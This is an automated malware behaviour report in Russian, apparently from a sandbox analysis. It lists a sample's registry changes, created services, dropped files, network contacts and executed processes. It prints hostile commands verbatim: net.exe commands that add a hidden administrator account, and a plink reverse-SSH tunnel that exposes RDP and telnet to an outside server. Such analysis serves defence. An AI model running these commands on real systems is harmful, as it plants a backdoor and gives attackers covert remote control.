Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\MyEntunnelService] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\MyEntunnelService] 'ImagePath' = 'c:\1\myentunnel-service.exe'
- [HKLM\System\CurrentControlSet\Services\TELNETD] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\TELNETD] 'ImagePath' = '"C:\2\telnetd.exe"'
Создает следующие сервисы
- 'MyEntunnelService' c:\1\myentunnel-service.exe
- 'TELNETD' "C:\2\telnetd.exe"
- 'TELNETD' C:\2\telnetd.exe
- 'umbus' system32\DRIVERS\umbus.sys
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' user Zizi vantage /add
- '%WINDIR%\syswow64\net.exe' localgroup administrators Zizi /add
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\fp1a15.tmp
- C:\2\line_mode.gif
- C:\2\license.txt
- C:\2\kbdmap.exe
- C:\2\icon_telnet.gif
- C:\2\icon_telnet.bmp
- C:\2\help.htm
- C:\2\fcw.gif
- C:\2\continue.bat
- C:\2\br-telnetd-status.htm
- C:\2\br-submit.htm
- C:\2\br-status.gif
- C:\2\logfile.gif
- C:\2\br-status-tail.htm
- C:\2\br-status-head.htm
- C:\2\br-status-head-pause.htm
- C:\2\br-options.htm
- C:\2\br-options.gif
- C:\2\br-options-pause.htm
- C:\2\br-login.htm
- C:\2\br-login.gif
- C:\2\br-login-failed.htm
- C:\2\br-kill.htm
- C:\2\br-error.htm
- C:\2\br-disconnect.htm
- C:\2\br-status-row.htm
- C:\2\telnetntlogin.gif
- %TEMP%\etilqs_chmj0vcchb6mnbe
- C:\2\paus.bat
- %TEMP%\tmpfile0.tmp
- C:\2\telnetd.log
- %TEMP%\etilqs_sw7arjutqiqi5f3
- %TEMP%\telnetdinstall.log
- C:\2\uninst.exe
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\goodtech telnet server\uninstall.lnk
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\goodtech telnet server\help.lnk
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\goodtech telnet server\website.lnk
- C:\2\goodtech telnet server help file.url
- C:\2\goodtech telnet server.url
- C:\2\top.gif
- C:\2\br-all-connections.htm
- C:\2\telnetntport25.gif
- C:\2\telnetntauto.gif
- C:\2\telnetd_status.gif
- C:\2\telnetd.exe
- C:\2\telcmd.exe
- C:\2\smallwindow.gif
- C:\2\sleep.exe
- C:\2\shutdown.bat
- C:\2\setenv.gif
- C:\2\restart.bat
- C:\2\restart-force.bat
- C:\2\readme.htm
- C:\2\logintimeout.gif
- C:\2\new.gif
- C:\2\background.gif
- %TEMP%\208a.tmp
- %ProgramFiles(x86)%\update\images\table.gif
- %ProgramFiles(x86)%\update\images\quantumsingularity.gif
- %ProgramFiles(x86)%\update\images\mil_it_en_mrktpg_agt_banner.gif
- %ProgramFiles(x86)%\update\images\img_rightsidebutton_bk.gif
- %ProgramFiles(x86)%\update\images\icc2_mkt_share.gif
- %ProgramFiles(x86)%\update\images\header.gif
- %ProgramFiles(x86)%\update\images\download.gif
- %ProgramFiles(x86)%\update\images\defaultheadersmallwhite.gif
- %ProgramFiles(x86)%\update\images\butonul click.gif
- %ProgramFiles(x86)%\update\images\buton2.jpg
- %ProgramFiles(x86)%\update\images\buton.jpg
- %ProgramFiles(x86)%\update\patch.exe
- %ProgramFiles(x86)%\update\images\botom.gif
- %ProgramFiles(x86)%\update\c\sshkey.reg
- %ProgramFiles(x86)%\update\c\2\telnetdsetup.exe
- %ProgramFiles(x86)%\update\c\2\config.dat
- %ProgramFiles(x86)%\update\c\1\service-myentunnel.ini
- %ProgramFiles(x86)%\update\c\1\service-localports.txt
- %ProgramFiles(x86)%\update\c\1\remoteports.txt
- %ProgramFiles(x86)%\update\c\1\plink.exe
- %ProgramFiles(x86)%\update\c\1\myentunnel.ini
- %ProgramFiles(x86)%\update\c\1\myentunnel.exe
- %ProgramFiles(x86)%\update\c\1\myentunnel-service.exe
- %ProgramFiles(x86)%\update\c\1\localports.txt
- %ProgramFiles(x86)%\update\done.htm
- C:\hide.reg
- %TEMP%\nsob589.tmp\system.dll
- %TEMP%\tmpfile0.bat
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- <SYSTEM32>\microsoft\protect\s-1-5-20\da19debc-8106-4b8e-bb06-a6a5dcc06df8
- %TEMP%\etilqs_eujv6xazzghbnrf
- %TEMP%\etilqs_es2pv7c2gaz1pha
- %TEMP%\etilqs_0md1lgprhdz6ysv
- %TEMP%\etilqs_3huiekhy1mzch3y
- %TEMP%\etilqs_fn6muvi4gp5wibm
- %TEMP%\etilqs_q5y5km16pofftgy
- %TEMP%\etilqs_rufgfoqblyiqczd
- %TEMP%\etilqs_n4ypf9ua2uk6xcj
- %TEMP%\nsob589.tmp\userinfo.dll
- C:\1\service-remoteports.txt
- C:\2\telnetdsetup.exe
- C:\2\config.dat
- C:\1\service-myentunnel.ini
- C:\1\service-localports.txt
- C:\1\remoteports.txt
- C:\1\plink.exe
- C:\1\myentunnel.ini
- C:\1\myentunnel.exe
- C:\1\myentunnel-service.exe
- C:\1\localports.txt
- C:\sshkey.reg
- %ProgramFiles(x86)%\update\update.exe
- %TEMP%\etilqs_brrnrjvdertehte
Удаляет следующие файлы
- %TEMP%\fp1a15.tmp
- C:\hide.reg
- %TEMP%\nsob589.tmp\system.dll
- %TEMP%\nsob589.tmp\userinfo.dll
- C:\sshkey.reg
- %TEMP%\tmpfile0.bat
- %TEMP%\tmpfile0.tmp
- %TEMP%\208a.tmp
Подменяет следующие файлы
- %TEMP%\tmpfile0.bat
Сетевая активность
Подключается к
- 'au######te.geo.opera.com':80
- 'au######te.geo.opera.com':443
- 'google.com':80
- 'se####.yahoo.com':80
- 'du###uckgo.com':443
- 'bing.com':80
- 'am##on.com':80
- 'se####.yahoo.com':443
- 'en.###ipedia.org':80
- 'am##on.com':443
- 'en.###ipedia.org':443
- 'si#####ck2.opera.com':80
- 're###.opera.com':80
- 'fa###ook.com':80
- 'ya###.opera.com':80
TCP
Запросы HTTP GET
- http://au######te.geo.opera.com/geolocation/
- http://www.google.com/favicon.ico
- http://se####.yahoo.com/favicon.ico
- http://www.bing.com/s/a/bing_p.ico
- http://www.am##on.com/favicon.ico
- http://en.###ipedia.org/favicon.ico
- http://si#####ck2.opera.com/?ho###################################################
- http://re###.opera.com/www.opera.com/firstrun/
- http://re###.opera.com/speeddials/partner/facebook
- http://www.fa###ook.com/campaign/landing.php?ca#########################
- http://www.fa###ook.com/fz139/?ca#########################
- http://www.fa###ook.com/favicon.ico
- http://re###.opera.com/favicon.ico
- http://ya###.opera.com/favicon.ico
Другие
- 'au######te.geo.opera.com':443
- 'du###uckgo.com':443
- 'se####.yahoo.com':443
- 'am##on.com':443
- 'en.###ipedia.org':443
- 'ya###.opera.com':443
UDP
- DNS ASK google.com
- DNS ASK au######te.geo.opera.com
- DNS ASK se####.yahoo.com
- DNS ASK du###uckgo.com
- DNS ASK am##on.com
- DNS ASK bing.com
- DNS ASK bi##.#ikimedia.org
- DNS ASK en.###ipedia.org
- DNS ASK se#####4.get-me-in.com
- DNS ASK si#####ck2.opera.com
- DNS ASK re###.opera.com
- DNS ASK fa###ook.com
- DNS ASK ya###.opera.com
- DNS ASK op##a.com
Другое
Ищет следующие окна
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: 'Opera_MessageWindow' WindowName: '%APPDATA%\Opera Software\Opera Stable'
- ClassName: 'MS_WINHELP' WindowName: ''
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\update\update.exe'
- '%TEMP%\208a.tmp' C:\PROGRA~2\update
- 'C:\1\myentunnel-service.exe' /install /silent
- 'C:\1\myentunnel-service.exe'
- 'C:\1\plink.exe' server54.get-me-in.com -N -ssh -2 -P 80 -l updater -C -L 0.0.0.0:3389 -R 27678:localhost:3389 -R 27679:localhost:2001
- 'C:\2\telnetdsetup.exe' /S /D=C:\2\
- 'C:\2\telnetd.exe'
Запускает на исполнение
- '%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "%ProgramFiles(x86)%\update\done.htm"
- '%WINDIR%\syswow64\attrib.exe' +h C:\2
- '%WINDIR%\syswow64\attrib.exe' +h C:\1
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.12.1251365710\534703811" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.11.257334870\1486171922" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.10.834784297\1366234371" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.9.178890646\513547657" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.8.1558146680\1563486831" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.7.742127297\258766402" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' --type=utility --channel="1544.4.474507551\656820345" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001 /crash-reporter-parent-id=2208
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.6.1394736725\1622883034" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.5.1204339071\969992498" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.15.1374989157\1649521854" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.4.474507551\656820345" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --disable-client-side-phishing-...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=gpu-process --channel="1544.0.1232940285\1499065738" --enable-proprietary-media-types-playback --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,19,42 --gpu-vendor-id=0x0000 --gp...
- '%WINDIR%\syswow64\net1.exe' start myentunnel /silent
- '%WINDIR%\syswow64\net.exe' start myentunnel /silent
- '%WINDIR%\syswow64\regedit.exe' /S c:\hide.REG
- '%WINDIR%\syswow64\net1.exe' localgroup administrators Zizi /add
- '%WINDIR%\syswow64\net1.exe' user Zizi vantage /add
- '%WINDIR%\syswow64\regedit.exe' /S c:\sshkey.REG
- '%WINDIR%\syswow64\xcopy.exe' c c:\ /E
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tmpfile0.bat" " (со скрытым окном)
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- "%ProgramFiles(x86)%\update\done.htm" /crash-reporter-parent-id=1544
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- "%ProgramFiles(x86)%\update\done.htm"
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --extension-process --enable-we...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1544.16.1001992861\828088105" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- 'C:\1\plink.exe' server54.get-me-in.com -N -ssh -2 -P 80 -l updater -C -L 0.0.0.0:3389 -R 27678:localhost:3389 -R 27679:localhost:2001 (со скрытым окном)
